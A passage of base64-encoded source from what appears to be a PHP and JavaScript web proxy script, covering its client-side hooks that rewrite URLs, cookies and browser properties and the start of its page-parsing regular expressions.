yZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXH